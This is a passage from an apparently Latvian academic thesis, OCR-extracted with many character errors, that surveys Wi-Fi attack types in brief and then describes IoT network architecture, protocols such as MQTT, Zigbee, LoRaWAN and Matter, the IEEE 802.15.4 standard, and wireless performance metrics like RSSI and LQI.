baksignala (anglu val. Beacon) pliidi, kas masivi siita baksignala kadru injekcijas, radot tikla
parslodzi un kavgjot lietotaju pieslégsanos [51].

Vadibas protokoli IEEE 802.11 tiklos bieZi ir neaizsargati pret uzbrukumiem, jo vadibas
kadri biezi netiek Sifréti. Tas lauj uzbrucgjiem manipul@t ar tikla darbibu, pieméram, generét

viltotus baksignala vai RTS un CTS kadrus. “Cilvéks pa vidu” (anglu val. man-in-the-middle)
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uzbrukumi ir Tpasi izplatiti publiskajos Wi-Fi tiklos, kur uzbrucgjs izveido launpratigu
piekluves punktu un piespiez lietotajus tam pievienoties [52].

IEEE 802.11 tiklu ievainojamibas rada nopietnus droSibas draudus, tacu moderno
tehnologiju un drosibas pasakumu ievieSana lauj btiski samazinat riskus. Lai nodro$inatu tikla
dro§ibu un lietotaju privatumu, ir svarigi regulari analiz&t tikla ievainojamibas un ieviest

efektivus aizsardzibas risinajumus.

Bezvadu lietu interneta tikla un lietoSanas struktiiras apraksts

Lietu internets (10T) ir fizisko iericu tikls, kas ir savstarp&ji savienotas, izmantojot iek§gjos
interneta vai lietu interneta protokolus un argjo internetu, lai apmainitos ar datiem un veiktu
noteiktas funkcijas bez cilvéka iejaukSanas. lerices var but dazadas — no viedajiem
termostatiem un mitruma sensoriem lidz automaSam un riipniecibas iekartam. Izmantojot
10T, ierices var vakt, parraidit un analizét datus, lai automatizétu dazadus procesus un uzlabotu

efektivitati un cilvéku dzives kvalitati [53].

Internets

(1)

Lietu interneta ierice #1 Lietuinterneta ierice #2 Lietu interneta ierice #3
Lietetaju lietojumpregramma

1.5. att. Lietu interneta (1oT) tikla arhitekttra.

loT iericém ir sazinas shéma. Ta izskatas diezgan vienkarSa. Makoninfrastruktiira ir
centraliz&ta infrastruktiira, kura tiek glabati, analiz&ti un apstradati no 10T iericém savaktie dati.
Sakaru tikls jeb komunikacijas tikls ir tikls, kas nodroSina sazinu starp 10T iericém un
makoninfrastruktiiru, izmantojot internetu. Tas var biit vadu vai bezvadu tikls. Savukart sazinas
funkciju starp iericém un internetu pilda lietu interneta centrmezgls jeb komutators. Talak ir
pasas ierices, kas ir fiziskas ierices, piem&ram, viedie sensori, sensori u. c., kas ir savienotas ar

sakaru tiklu un vac datus no vides. Vide var but dazada, tas var blit gan dzivoklis, gan
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dzivojama @&ka, gan iela, gan pilséta, gan valsts. Lietotaja lietojumprogrammas ir
programmatiira vai saskarne, kas lauj lietotdjiem mijiedarboties ar 0T iericem, skatit,
vizualiz&ét un parvaldit datus. Katra 10T ierice vac datus no sava darbibas vides un, izmantojot
argjo tiklu, parsiita tos uz makoni talakai apstradei un glabasanai. Lietotaji pasi var
mijiedarboties ar iericém un datiem, izmantojot lietotnes [55].

Ka autors rakstija ieprieks, ST sazina notiek starp iericem un globalo tiklu, precizak —
makoni. Pastav dazadi fiziskas savienojamibas risinajumi (mobilais tikls (LTE, 5G un 6G),
satelttu (GPS) un lokalie tikli), ka arT specifiski protokoli, ko izmanto 10T vidé (Zigbee, Z-
Wave, MQTT, LoRaWAN un Matter). Pareiza sakaru risinajuma izvéle ir viena no svarigakajam
katras 10T sisteémas izveides sastavdalam. IzvElGtajai tehnologijai janosaka ne tikai tas, ka
nosiitit un sanemt datus no makona, bet ar1 tas, ka sazinaties ar treSo pusu iericeém. Galiekartam
ir jazina un jaspgj zinat, kas notiek ap tam, un jazino par to lietotdjam, izmantojot noteiktu
sazinas kanalu. Lietu interneta platforma ir vieta, kur visi sanemtie dati tiek apkopoti, analiz&ti
un nosititi lietotajam &rta forma. Datu sanemsSanas forma var tikt veidota atkariba no lietotaja
izvéles — ta var bit laika joslas programmas veida Grafana, var satit pazinojumus, izmantojot
MQTT, vai arT atseviskas lietotnes vieda, piem&ram, Mi Home (Xiaomi uznémums). Platformas
izvele ir atkariga no konkreta 10T projekta prasibam un daudziem faktoriem — arhitektiras un
tehnologiju kopuma, uzticamibas, pielagoSanas iesp&am, izmantotajiem protokoliem,
aparatiiras neatkaribas, dro$ibas, efektivitates un izmaksam [55-58, 60].

Lai gan loT sistémam ir liela ekonomiska vertiba, viedie objekti ir arT neaizsargati pret
kibernoziegumiem, kas var izraisit datu, tostarp sensitivas informacijas nopliidi. Lai gan darba
lauks ar drosibas jautajumiem joprojam ir gigantisks, patlaban ir daudz risinajumu, kas lauj 10T
tikla izvérSanu veikt drosak. Pateicoties tehnologijam “atjauninajums bezvadu rezima” (anglu
val. Software Over the Air) un “programmaparatiiras atjauninasana bezvadu rezima” (anglu
val. Firmware Over the Air), pieslégto iericu programmatiru un iestatijumus var atjauninat
bezvadu rezima [57-58].

Lietu interneta tehnologija ir izmantojama dazadas nozarés un dazadiem mérkiem —
patérétaju uzvedibas izsekoSana reala laika, sensoru, ka arf maSinu un sist€ému kvalitates
uzlabosana, inovativu darba veidu meklésana digitalas transformacijas ietvaros. Piemé&ram,
Kartahenas Tehniska universitate (2023. gada novembiT) tika demonstréts, ka Spanijas p&tnieki
izmanto lietu interneta tehnologijas, konkrétak, pilsétu infrastruktira un agrokultura.
Sadarbojieties pilsétai un universitatei, ir izveidota infrastruktiiru gaisa kontrolei, precizak, ta
izpétei attieciba uz dazada veida piesarnojumu un mikrodalinam (PM2.5 un PM10). Agro
kultara to izmanto automatiskai kultdraugu apiideno$anai. Promocijas darba autors ir
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uzrakstijis vairakas zinatniskas publikacijas par veido maju sistémam, ka arT par lietu internetu.
Publikaciju eksperimentalas dalas pamata ir viedo majas elementu, ka ari Arduino Uno R3 un
Raspberry Pi 4 Model B mikrokontrolleru un dazada veida temperattiras sensoru (/-Wire)
izmantosana [12-13].

Nosleédzot So nodalu, jasecina, ka lietu interneta revoliicija ir svariga uzneméjdarbibas
attistibai un ta var attiekties uz jebkura veida uznémejdarbibu. Vissvarigakais un vertigakais,
kas ir saistits ar tehnologiju un tas koncepciju lietu interneta joma, ir tas, ka $1 tehnologija ir
atverta jaunam idejam un izaicinajumiem un taja ir pietieckami daudz iesp&ju realizét gandriz

jebkuru biznesa ideju.

Lietu interneta protokoli un standarti. To atSkiribas un salidzinajums

Ka minéts ieprieks, lietu interneta tehnologija ir loti daudzpusiga, to var izmantot un
piemérot dazados kontekstos un virzienos. Dazus lietu interneta standartus var izmantot
jebkura veida, savukart citus standartus var lietot $auraka joma. Saja nodala autors izskaidro,
kadi lietu interneta standarti eksisté, kuri standarti ir lietojami, kadi protokoli darbojas,
izmantojot lietu interneta standartus, un kada ir to atSkiriba no bezvadu tiklu standartiem.

Faktiski lietu interneta protokoli galvenokart tiek izmantoti majas automatizacija, tadas
lietas ka gaismas kontrole, apkures kontrole, mitruma kontrole, un tie vél veic dazadas

funkcijas, lai veicinatu majas automatizaciju [12—13, 55-56].

Temperatiras sensors Mitruma sensors
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1.6. att. Viedas majas arhitektiira ar bezvadu savienojumu [12—13].

Ka redzams diagramma (1.6. att.), lietu interneta standartus var kontrol&t, izmantojot

vartejas vai centrmezglus, kas sazinas ar centrmezglu, un, izmantojot konkrétu centrmezglu,
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var kontrolét visas pievienotas ierices. Tam joprojam ir svariga nozime iericu parvaldiba.
Varteju vai centrmezgli ir starpposma ierices, kas nodro§ina savienojumu starp dazadam lietu
interneta iericém un internetu [12-13, 55-56, 59].

Katra lietu interneta standarta ir savs centrmezgls, kas parraida datus uz iericem vietgja
tikla segmenta. Tas var nosiitit komandas un instrukcijas izpildei, laujot visu iericu tiklu
parvaldit centralizgeti, izmantojot 10T saskarni. Lai mijiedarbotos ar lietu interneta ieric€m, tas
ir japarvalda, un par parvaldibu riipgjas protokoli. Jebkura tikla, kura notiek datu apmaina un
parraide, ir protokoli, kas organizé mijiedarbibu ar datiem. Gan bezvadu tiklu (lietu internets
ir dala no bezvadu tikla segmenta), gan vadu tiklu parvalda protokoli. Katram tikla inzenierim
butu japarzina tadi modeli ka atverto sistému sadarbibas modelis (OSI) un parraides vadibas
protokols / interneta protokols steks (TCP/IP). TCP/IP ir miuisdienigs steks, un taja darbojas
globalais tikls, ka arT lietu interneta standarti [56-58].

2. tabula

TCP/IP steka salidzinajums interneta un lietu interneta protokoliem [55-58]

TCP/IP steka slani Interneta protokoli Lietu interneta protokoli
Fiziskais slanis Ethernet,  Wi-Fi (IEEE | Wi-Fi  (IEEE  802.11ah),
802.11) Zigbee un Thread (IEEE

802.15.4), LoRaWAN, Z-Wave

Tikla slanis IPv4 IPv6 (6LOWPAN)
Transporta slanis TCP, UDP UDP
Lietojumslanis HTTP, HTTPS MQTT, CoAP, AMQP, Matter

Lai parraiditu “zinojumus” lietu interneta vidg, jaieveéro vairaki faktori — parraides atrums,
pakeSu aizture, signala stiprums (RSSI), energijas patérins, datu zudumi, dro§iba un
mérogojamiba. 2. tabula redzams, ka dazus interneta protokolus var izmantot ari lietu interneta
vajadzibam, tacu ir nianses. Pieméram, tadi protokoli ka Zighee, LORaWAN tiek izmantoti ka
fiziska un datu posma slana protokoli, tacu tie tiek izmantoti ar ka lietu interneta standarti. Art
tadus interneta protokolus ka IPv4 (anglu val. Internet Protocol version 4) un IPv6 (anglu val.
Internet Protocol version 6) var izmantot lietu interneta tiklos, bet IPV6 ir vélamakais protokols

tiklu sazinai, jo paplasinats pieejamo unikalo IP adre$u skaits, salidzinot ar IPv4, un tas padara
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to piemérotaku 0T tiklu mérogoSanai. IPv6 teorgtiski nodrosina uzlabotu drosibu, piedavajot
iebaivetu drosibas funkciju komplektu, pieméram, IPsec (anglu val. Internet Protocol Security).
Tomér prakse IPsec biezi vien ir problematisks lietu interneta ieric€m, jo ta izmantoSana biitiski
palielina ieri¢u procesoru noslodzi, energijas patérinu, ka arT samazina datu parraides atrumu.
Tapéc daudzas 10T implementacijas IPv6 izmanto bez IPsec, kas savukart samazina tikla
dro§ibu un rada nepiecieSamibu izmantot alternativus, mazak resursietilpigus drosibas
mehanismus. Viens no popularakajiem risinajumiem 0T joma ir datagrammu transporta slana
drogiba (DTLS), kas nodrosina salidzinamu dro$ibas limeni, tacu ir pielagotaks ierobezotu
resursu iericém, jo strada virs UDP transporta protokola un ir optimiz&ts minimalai skaitloSanas
slodzei. Runajot par atbalstu jaunam tehnologijam un protokoliem, jasecina, ka |Pv6 nodrosina
atbalstu 6LOWPAN (anglu val. IPv6 over Low-Power Wireless Personal Area Networks), kas
ir Tpasi izstradats, lai IPv6 tiklam pieslégtu l0T ierices ar mazu energijas patérinu un
ierobezotiem resursiem [55-58].

Transporta slani 10T tiklos galvenokart tiek izmantots UDP protokols, kas nodrosina datu
parraidi ar minimalu aizkavi un mazaku tikla resursu paterinu, jo netiek izmantots automatisks
datu atkartotas nosiitisanas mehanisms. Tom&r UDP negarant€ uzticamu datu piegadi, tapec ta
izvéle ir atkariga no konkréta 10T lietoSanas scenarija. Ja lietojuma ir nepielaujama datu
zuduma varbiitiba, pat izmantojot UDP, nepiecieSams papildus ieviest apstiprinasanas (anglu
val. acknowledgment; ACK) mehanismus lietojumslani, pieméram, izmantojot COAP ar
apstiprinatiem zinojumiem vai MQTT ar QoS mehanismiem. Savukart, ja lietojuma gadijuma
svarigaka ir uzticamiba un datu integritate, pieméram, programmatiiras atjauninajumu vai
kritisku komandu parraidei, bieZi tiek izmantots TCP protokols, neskatoties uz ta augstaku
resursu paterinu un aizkavi, ko izraisa garantéta piegade un atkartota parsttiSana klidu
gadijuma [55-58].

Lietojumslana protokoli lietu interneta nozaré nosaka veidus, ka ierices un to

lietojumprogrammas sazinas, ka arT datu formatus un struktiiras, kas tiek parsttitas starp tam.

e MQTT (anglu val. Message Queuing Telemetry Transport) — viegls zinojumu apmainas
protokols, kas paredzets sazinai starp iericém un serveriem, lietojumprogrammam. To
plasi izmanto ta vienkarSibas, efektivitates un uzticamibas de]l. Ta galvenas
prieksrocibas ir minimals datu apjoms, zems energijas patérin$ un uzticamiba atbilstosi

QoS prasibam, kas padara to ideali piemérotu sensoriem un aktuatoriem [55-58].
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e COAP (anglu val. Constrained Application Protocol) — lietojumslana protokols, kas
izstradats speciali ierobezotu resursu tiklu un 10T ieri¢u vajadzibam, piedava efektivu
veidu, ka iericém ar zemu energijas patérinu un ierobeZotu procesoru jaudu apmainities
ar datiem, izmantojot timekla standartos balstitus protokolus. Galvenas ipasibas —
RESTful arhitektiira, kas padara Iidzigu HTTP, izmantojot GET, POST, PUT un
DELETE metodes [56-58].

e HTTP (anglu val. HyperText Transfer Protocol) — protokols nav Tpasi izstradats 10T
tiklam, tacu to plasi izmanto 10T tikla segmentos. 10T ierices var izmantot HTTP, lai
sazinatos ar makonserveriem, vai Citiem tikla pakalpojumiem [56].

e DDS (anglu val. Data Distribution Service) — augstas veiktsp&jas komunikacijas
protokols, kas paredzets reallaika datu apmainai izkliedetas sistémas, kur ir
nepiecieSama uzticama un efektiva datu parraide ar zemu latentumu, galvenas 1pasibas
— peer-to-peer datu apmaina, Q0S politikas klasts [66].

e AMQP (anglu val. Advanced Message Queuing Protocol) — zinojumu apmainas
protokols, kas paredz€ts dazadu sistemas komponentu savienoSanai, izmantojot
centraliz&tu brokeri. Tas nodro$ina garant&tu zinojumu piegadi, elastigu marsrutéSanu
un atbalsta sarezgitus mijiedarbibas scenarijus [56].

Tie ir galvenie protokoli, kas nepiecieSsami l0T tiklu darbibai lietojumslani, lai
mijiedarbotos ar iericém un ar pasu 10T tiklu komandam un izpildprogrammu vajadzibam.
Lietu interneta tikli izmanto dazadus standartus, sakot no tradicionalajiem vadu risinajumiem,
pieméram, Ethernet, lidz specializétam bezvadu tehnologijam, pieméram, Z-Wave, ZigBee,
LoRaWAN u. c. Lai gan bezvadu standarti loT tiklos ir domingjosie, plasi tiek izmantoti ari
vadu standarti, pasi industrialo, automatizacijas un kritisko infrastruktiiru 10T risinajumos.
Tadi vadu komunikaciju standarti ka KNX, Modbus, RS-485, PLC un Ethernet nodrosina
uzticamu, stabilu un drosu datu parraidi vides, kuras ir paaugstinatas prasibas attieciba uz datu
integritati, dro§ibu un darbibas noturibu [60].

Pieméram, ar optisko kabeli vai vita para savienojumu ir iesp&jams izveidot fizisku
savienojumu starp marsSrut€taju un lokalajam iericeém, p&c tam pieslédzot sadales ierices 10T
tiklam. Tomer lielaka dala 10T komunikaciju tiek realizgtas, izmantojot bezvadu standartus,

kas nodrosina lielaku elastibu un értibas.
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Galvenie bezvadu standarti/protokoli, kas pieméroti 10T

e Zigbee — viens no popularakiem loT protokoliem, kas plasi tiek izmantots gan viedas
majas sistémas, gan rupnieciba, zinatné un medicina (anglu val. Industrial, Scientific
and Medical) lietojumprogrammas. Ta popularitate ir saistita ar uzticamibu un
energoefektivitati, 1pasi 1sos attalumos iekstelpas vai Iidz vairakiem simtiem metru
atklata vide. Izmanto 2,4 GHz frekvenci, kas ir izplatits diapazons, pateicoties ta
universalajam lietojumiem. Tomér §is frekvences parslodze, ko izraisa citi tikli, var
radit traucgjumus. Lai to noverstu, biezi tiek izmantoti tikli ar zemaku frekvences joslu
(anglu val. Sub-1-GHz). Eiropas Savieniba izmanto 868 MHz frekvenci, savukart
Ziemelamerika un Dienvidamerikd — 915 MHz. Galvenas IpaSibas ietver zemu
energijas patérinu, nelielu datu apjomu, zemu latentumu, augstu mérogojamibu (lidz
512 iericém viena centrmezgla) un drosibu [58, 60].

e Z-Wave — vél viens bezvadu komunikacijas protokols, kas, lidzigi ka Zigbee, tick plasi
izmantots viedas majas sistémas. Tas nodroSina uzticamu un energoefektivu
savienojumu starp iericém, piemeram, sensoriem un d@v&am, laujot tam savstarpgji
mijiedarboties, ka arl sazinaties ar centrmezglu. Var darboties arf zemak per 1 GHz
frekvencém, tapat ka Zigbee, tomér atSkiriba no Zigbee tas neizmanto 2,4 GHz
frekvenci. Eiropa darbojas 868 MHz frekvencg, savukart Amerikas tirgu tiek izmantota
908 MHz frekvence. Galvenas ipaSibas — zems energijas patéring, zems latentums,
zinojumu marS§rut€Sana un savietojamiba [68—69].

e LoRaWAN (anglu val. Long Range Wide Area Network) — bezvadu datu parraides
protokols, kas izstradats lietu interneta tiklu platjoslas segmentam. Atskiriba no Z-Wave
un ZigBee (Iidz 15 km) tas ir izstradats, lai nodro§inatu sazinu lielos attdlumos. Sim
standartam ir IpaSibas, kas to padara ideali piemérotu lietojumiem, kuriem
nepiecieSama sazina lielos attalumos un zems energijas patérins. LORaWAN standartam
ir lidzigas datu parraides frekvences ka ZigBee un Z-Wave, tacu dazos regionos
LoRaWAN darbojas 433 MHz frekvencé (regionos, kur nav iesp&ams izmantot 868—
915 MHz frekvencu joslu), savukart regionos, kur iesp&ams izmantot 868-915 MHz
frekvenéu joslu, to var konfigurét darbam 433 MHz frekvencé. ST standarta galvenas
Ipasibas un iezimes ir datu parraide liela attaluma, zems energijas patérin§, spektrala
efektivitate (izmantojot Chirp Spread Spectrum modulaciju, kas nodroSina augstu
spektralo efektivitati un imunitati pret trauc€jumiem), mérogojamiba, paSorganizacija
(Iidzigi ka ZigBee) un drosiba [70].
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e Wi-Fi HaLow (IEEE 802.11ah) — bezvadu sakaru standarts, kas izstradats IEEE un

Wi-Fi Alliance inzenieru grupas vadiba, ipasi pielagots 10T vajadzibam. Tas apvieno
energoefektivitati, talsatiksmes komunikaciju un iesp&u darboties ar zemu datu
parraides atrumu, padarot to ideali piem@rotu ieric€m, kas parraida nelielu datu apjomu.
Darbojas arf zem 1 GHz frekvend¢u joslas, laba savietojamiba, saderiba ar agrakam Wi-
Fi versijam un IEEE 802.11 infrastruktiiru kopuma [71-72, 95].

Matter — jaunas paaudzes protokols, kas izstradats, lai nodroSinatu savstarpgju
savietojamibu un vienotu pieeju viedo maju un loT iericu ekosistéma. Standartu
izstradaja Connectivity Standards Alliance (CSA), un t3ja iesaistiti tadi tehnologiju
giganti ka Apple, Google, Amazon u. c. Matter darbojas, izmantojot dazadas parraides
tehnologijas, dazadas frekvences joslas un attalumos (Wi-Fi, Thread, Bluetooth) un ari
atbalsta zem 1 GHz frekvencu joslu. Galvenas ipasibas — savietojamiba, vienkarSa

izmanto$ana, drosiba, elastiba un atveérta koda pieeja [67].

Apkopojot iepriek§ minéto, izveidota 3. tabula, kura aplakoti noteiktu aspektu standarti,

kas tiek izmantoti 10T segmenta, un tos var salidzinat arT ar parasto bezvadu standartu

segmentu.
3. tabula
Bezvadu sakaru standartu salidzinosa tabula
Standarts Bezvadu Attalums Frekvences Lietojamiba
savienojumu (metru, josla (GHz /
tips kilometri) MHz)
IEEE 802.11 WLAN ~30-200 m 2,4 GHz, 5 GHz | Datu parraide
un 6 GHz
IEEE 802.11ah | WLAN ~1Kkm 755-928 MHz | Sensoru tikls
Zigbee WPAN ~100 m 868-915 MHz, | Viedas majas
2,4 GHz tehnologijas
Z-Wave WPAN 10-30 m 868-908 MHz | Viedas majas
tehnologijas
LoRaWAN LPWAN ~15km 433 MHz, 868— | Sakaru tikli
915 MHz
Matter WLAN 10-100 m 868 MHz, Viedas majas
2,4 GHz tehnologijas
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IEEE 802.15.4 standarta fiziska un datu posmas slana raksturojums loT
tiklu konteksta

IEEE 802.15.4 ir zema energijas patérina bezvadu komunikacijas standarts, kas definé
fiziska (PHY) un datu posma slana (MAC) protokolus. Sis standarts ir izstradats, lai apmierinatu
ieri¢u un tiklu vajadzibas, kuras ir ierobeZoti resursi, pieméram, zems energijas patérin$ un
zema datu parraides intensitate. IEEE 802.15.4 ir kluvis par pamatu daudziem 10T un sensoru

tiklu (WSN) risinajumiem, kas tiek izmantoti dazadas nozares [73-74].

Tikla, transporta un lietojuma slani
LLC
SSCS
MAC Datu posma slanis
PHY Fiziskais slanis

1.7. att. IEEE 802.15.4 standarta darbibas steks [73].

Fiziskais slanis IEEE 802.15.4 nodro$ina komunikacijas tehnologisko pamatu. Tas atbalsta
vairakas frekvencu joslas, tostarp 2,4 GHz globalai lietoSanai, 868 MHz Eiropa un 915 MHz
Ziemelamerika. Sis joslas piedava elastibu atkariba no regionalajam prasibam un lietojuma
specifikas. 2,4 GHz frekvencu josla nodrosina augstaku datu parraides atrumu (Iidz 250 kbit/s),
tacu ir jutigaka pret trauc€jumiem, savukart zemakas frekvences, pieméram, 868 MHz un
915 MHz, piedava labaku caurlaidspgju $keérSlos un stabilaku darbibu. PHY slani tiek
izmantotas tadas modulacijas metodes ka binara fazes modulacija (BPSK), DSSS un OFDM,
kas uzlabo spektra izmantoSanu un nodro$ina noturibu pret trauc€jumiem atkariba no izmantota

frekvencu joslas diapazona, kanalu skaitu, platumu un datu parraides atrumiem (1.8. att.).
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FREKVENCU PIESKIRUMA IESPEJAS

Frekvencu diapazons 868 - 868,6 MHz 902 - 928 MHz 2,4 - 2,4835 GHz
Kanalu skaits 1 10 16
Kanala joslas platums| 600 kHz 2 MHz 5 MHz
Snlim 20 ksimboli/s 40 ksimbaolifs 62,5 ksimbolifs
parraides atrums
Datu parraides 20 kbit/s 40 kbit/s 250 kbit/s
atrums
Modulacija BPSK BPSK Q-QPSK

1.8. att. IEEE 802.15.4 standarta frekvencu joslas pieSkirumi [73].

Datu posma slanis IEEE 802.15.4 arf ietver divus apaksslanus: vides piekluves kontroles
apaksslanis (MAC) un logiskas posma vadibas apak$slanis (LLC). MAC slanis parvalda
koplietojamo bezvadu kanalu piekluvi, izmantojot novér§anas mehanismus (CSMA/CA). Tas
nodrosina arT iericu autentifikaciju, autorizaciju un adresacijas parvaldibu, izmantojot 16 bitu
vai 64 bitu adreses. MAC slana ietvaros tiek veidoti un parvalditi datu kadri, ka ari tiek
nodro$inata uzticama datu parraide, izmantojot apstiprinaanas un retranslacijas mehanismus.
MAC slanis atbalsta dazadas tikla topologijas, tostarp zvaigznes, kokveida un acs topologijas.
Zvaigznes topologija centralais mezgls koording visu tikla ieri¢u darbibu, savukart acs (anglu
val. mesh) topologijas mezgli var tieSi sazinaties Cits ar citu, nodro§inot elastibu un tikla
atjaunoSanu [73-74].

Logiskas posma vadibas slanis (LLC) ir augstaka limena apaksslanis, kas atbild par datu
plismas kontroli un kltidu parraides parbaudi (CRC). Tas nodrosina kadru retranslacijas kladu
gadTjumos un uztur savienojuma uzticamibu starp lietu interneta tikla elementiem. LLC kalpo
arT ka universala saskarne augstaka ltmena protokoliem, kas izmanto IEEE 802.15.4 tikla
infrastrukttru [75].

Papildus MAC un LLC datu posma slani ietilpst pakalpojuma specifiskas sapliiSanas
apaksslanis (SSCS). SSCS savieno MAC slani ar augstakiem tikla slaniem, laujot dazadiem
lietojumprogrammu protokoliem izmantot vienotu tikla arhitekttiru. Tas nodroSina datu
apmainu starp iericem un lauj IEEE 802.15.4 tiklam pielagoties dazadiem lietoSanas

scenarijiem [76].
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Tikla, transporta un lietojuma slani nodrosina papildu funkcionalitati, izmantojot tadus
protokolus ka Zigbee, Thread un 6LoWPAN. ZigBee un Thread paplasina IEEE 802.15.4
funkcionalitati, nodro$inot sarezgitakas tikla parvaldibas iesp&jas un augstaku dro$ibas Iimeni.
6LOWPAN lauj integrét IP adreséSanu loT tiklos, kas nodroSina savietojamibu ar
tradicionalajiem interneta tikliem [75].

IEEE 802.15.4 ir piemérots maza datu apjoma parraidei, kas ir tipiska sensoru tikliem un
loT iericem. Maksimalais pakeSu lielums ir 127 baiti, kas ir pietickami maziem zinojumiem,
pieméram, temperatiiras, mitruma vai spiediena datu parsatiSanai. Zems energijas patérin§ ir
butiska standarta priekSrociba, kas lauj iericém darboties uz baterijam vairakus gadus. Tiek
izmantoti optimiz&ti miega reZimi un energijas parvaldibas mehanismi, lai nodro$inatu
maksimalu efektivitati [76].

Drosiba ir butisks aspekts IEEE 802.15.4 tiklos. Standarts ietver AES-128 $ifréSanu, lai
nodrosinatu datu konfidencialitati, integritati un autentifikaciju. Sie dro$ibas mehanismi
aizsarga tiklu no nesankciongtas piekluves un partverSanas uzbrukumiem. Papildus tam dazas
implementacijas izmanto reputacijas sistémas un tikla monitoringa risinajumus, lai uzlabotu
dro§ibas limeni [77].

Neskatoties uz daudzam prieksrocibam, standarta ierobezojumi ietver zemu datu parraides
atrumu un ierobezotu darbibas diapazonu, ipasi 2,4 GHz josla. Sie trikumi padara IEEE
802.15.4 mazak piemérotu datu intensiviem lietojumiem vai lietotném, kur nepiecieSama
augsta veiktspgja. Tomer Sos ierobezojumus kompens€é ar papildu protokoliem un
uzlabojumiem, kas paplaSina standarta lietojamibu.

IEEE 802.15.4 ir fundamentals standarts 10T tiklu izveidei, nodro$inot uzticamu un
efektivu datu parraidi mazas jaudas ierices. Ta elastiba, zemais energijas pat€rins un dro$ibas
mehanismi padara to par piemerotu plaSam lietojumu klastam, sakot no viedajam majam Iidz
industrialajiem tikliem. Standarta attistiba un integracija ar citiem protokoliem veicina 10T tiklu

izaugsmi un lietojamibu dazadas nozargs.

IEEE 802.11 un IEEE 802.15.4 mérijumu analizes apraksts

Bezvadu tiklu veiktspgjai ir butiska nozime, lai nodrosinatu stabilu un kvalitativu sazinu
starp iericém. |EEE 802.11 tiklos, kas pazistami ka Wi-Fi, un IEEE 802.15.4 tiklos, kas ir 10T
pamata, veiktsp&ju nosaka vairaki faktori, tostarp signala stiprums, savienojuma stabilitate un

kvalitate, aiztures laiks un caurlaidspgja.
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Sie raditaji ir loti svarigi dazadiem izmanto$anas gadijumiem, sakot no video straumgsanas
un tie§saistes sp€lém augstas veiktsp&jas Wi-Fi tiklos un beidzot ar datu apmainu starp
energoefektivam 10T iericém IEEE 802.15.4 tiklos. Veiktsp&jas noveértéSana, izmantojot tadus
raditajus ka caurlaidsp&ja (kbit/s vai mbit/s), RSSI (dBm) un pake$u zudumi (%), lauj ne tikai
optimizgt tiklu, bet arT pielagot to konkrétas viedes un lietojumprogrammas Tpasam prasibam
[78-80].

Veiktsp&ja izveletajos tiklos aptver vairakus butiskus parametrus, piem&ram, datu
parraides atrumu, latentumu, trici (anglu val. jitter), pakeSu zudumus un savienojuma
stabilitati. Tikla veiktsp&ja ir cie$i saistita ar tikla arhitektiiru, tehnologiskajam iesp&jam un
lietoSanas scenarijiem. IEEE 802.11 tiklos, kas galvenokart tiek izmantoti datu intensivas
lietotnes un makonpakalpojumus, veiktsp&jas galvenais krit€rijs ir augsts datu parraides
atrums. Wi-Fi 6 (IEEE 802.11ax) nodros$ina caurlaidsp€ju Iidz 9,6 Gbit/s, bet reala veiktsp&ja
ir atkariga no tikla slodzes, iericu skaita un interferences limena. Turklat Wi-Fi tiklu veiktsp&ju
ietekmé tikla topologija un piekluves punkta jauda. Savukart IEEE 802.15.4 tiklos prioritate
tiek pieSkirta energijas efektivitatei un uzticamibai. Maksimalais datu parraides atrums ir 250
Kbit/s, kas ir pietickams maza apjoma datu parraidei, piem&ram, sensoru mérjjumiem vai 0T
ieriéu komunikacijai. Sajos tiklos veiktspgjas kritériji ietver pakesu piegades veiksmigumu
(anglu val. Packet Delivery Ratio), latentumu un energijas patérinu. Pieméram, sensoru tiklos
tiek analiz&ta sp&ja nodro§inat stabilu komunikaciju ar minimalu energijas patérinu, kas ir
butiski iericém ar baterijam [80-81].

Caurlaidspgja (anglu val. throughput) norada kop&jo datu apjomu, kas veiksmigi tiek
parraidits tikla noteikta laika posma. Tas ir viens no galvenajiem veiktsp&jas raditajiem, kas
butiski ietekmé tikla darbibu un lietotaja pieredzi. IEEE 802.11 tiklos caurlaidspgja ir buitiska
datu intensivam lietotnem, un ta tiek merita Mbit/s vai Gbit/s. Caurlaidsp&ju ietekme vairaki
faktori — trafika intensitate, interference un lietotdju skaits. Savukart IEEE 802.15.4 tiklos
caurlaidspgja ir ierobezota Iidz 250 Kbit/s. Lai art §1 veériba ir salidzino$i zema, ta ir pietickama
10T un sensoru tiklos, kur datu pliismas ir mazakas. Sajos tiklos caurlaidsp&ju batiski ietekmé
pakesu parraides biezums un tikla mezglu blivums. Tikla konfiguracijas, piem&ram, acs (anglu
val. mesh) topologija, var palidz&t palielinat tikla stabilitati un uzticamibu, neskatoties uz
zemaku caurlaidsp&ju [80].

Signala stipruma indikators (RSSI) ir kritiski svarigs parametrs, kas méra uztverta signala
stiprumu un ir biitisks gan IEEE 802.11, gan IEEE 802.15.4 tiklu darbibas novértésanai. Tas

palidz noteikt savienojuma kvalitati, optimiz&t iericu darbibu un uzlabot tikla veiktsp&ju [78].
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Savienojuma kvalitates indikators (LQI) ir MAC slani definéts raditajs, kas sniedz
informaciju par bezvadu saites kvalitati Starp divam tikla iericém. LQI veértiba ir atkariga no
uztverta signala kvalitates, tostarp signala un troks$na attiecibas (SNR), pakesu kliidu biezuma
(PER) un signala stipruma (RSSI). IEEE 802.15.4 standarts nosaka LQI ka veselu skaitli
intervala no 0 lidz 255, kur augstaka vértiba liecina par labaku bezvadu saites kvalitati un
mazaku klidu iesp&amibu parraidé. Bezvadu sensoru ftiklos LQI biezi tiek izmantots
marSruté$anas algoritmos, lai izvélétos optimalo komunikacijas celu starp tikla mezgliem [82].

Gan IEEE 802.11, gan IEEE 802.15.4 tiklos RSSI tiek izmantots, lai novertétu savienojuma
kvalitati, parvalditu savienojumu parslégsanu un identificétu traucg€jumus.

4. tabula

IEEE 802.11 un IEEE 802.15.4 darbibas novértejums atkariba no RSSI [19]

RSSI vertiba (dBm) IEEE 802.11 IEEE 802.15.4
signala kvalitate signala kvalitate
> -30 Iidz -50 Teicama Teicama
=51 lidz —60 Laba Laba
—61 Iidz —70 Gandriz laba Gandriz laba
—71 1idz —80 Vaja Vaja
—81 Iidz —90 Loti vaja Loti vaja
<-90 Slikta Slikta

IEEE 802.15.4 tiklos RSSI ir Tpasi svarigs energijas patérina optimizacijai un savienojuma
stabilitates novertéSanai. Piem&ram, acu (anglu val. mesh) topologija tikls spg&j dinamiski
izveleties optimalus datu parraides marsSrutus un pielagot mezglu parraides jaudu, samazinot
energijas patérinu.

Papildu veiktsp&jas mérijumi ir $adi:

